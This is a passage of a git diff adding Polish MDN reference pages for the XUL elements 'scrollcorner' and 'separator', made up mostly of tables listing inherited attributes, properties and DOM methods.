+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/scrollcorner/index.html b/files/pl/mozilla/tech/xul/scrollcorner/index.html
new file mode 100644
index 0000000000..62a05df225
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/scrollcorner/index.html
@@ -0,0 +1,94 @@
+---
+title: scrollcorner
+slug: Mozilla/Tech/XUL/scrollcorner
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/scrollcorner
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element jest stosowany dla małych pudełek, które są miejscem gdzie poziomy i pionowy pasek przewijania się spotykają.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebny przykład)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/separator/index.html b/files/pl/mozilla/tech/xul/separator/index.html
new file mode 100644
index 0000000000..a8a2c1651d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/separator/index.html
@@ -0,0 +1,131 @@
+---
+title: separator
+slug: Mozilla/Tech/XUL/separator
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/separator
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Tworzy małe odstępy pomiędzy elementami. Ten typ separatorów powinien być zastosowany do oddzielania części okna dialogowego. Nie rysuje on żadnego widocznego paska, lecz jest małą przestrzenią. Funkcjonalność odpowiednia dla odstępu (<code><a href="/pl/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code>), to nie mniejsza niż domyślny jej rozmiar (zazwyczaj 1.5 em).
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-separator.orient">orient</a>
+</dd></dl>
+<dl><dt> Klasy stylów
+</dt><dd> <a href="#s-groove">groove</a>, <a href="#s-groove-thin">groove-thin</a>, <a href="#s-thin">thin</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;separator class="groove-thin"/&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><div id="a-separator.orient">
+
+<dl><dt> <a href="pl/XUL/Atrybut/separator.orient">orient</a>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Stosowany do określenia czy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/separator" title="separator">separator</a></code></code> oddziela poziomo czy pionowo. Uważaj, niektóre wartości są odwrotnością tego, co mogłoby się wydawać niemożliwe.
+</dd></dl>
+<ul><li> <code>horizontal</code>: Separator oddziela pionowo umieszczone elementy.
+</li><li> <code>vertical</code>: Separator oddziela poziomo umieszczone elementy. </li></ul>
+
+
+</div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
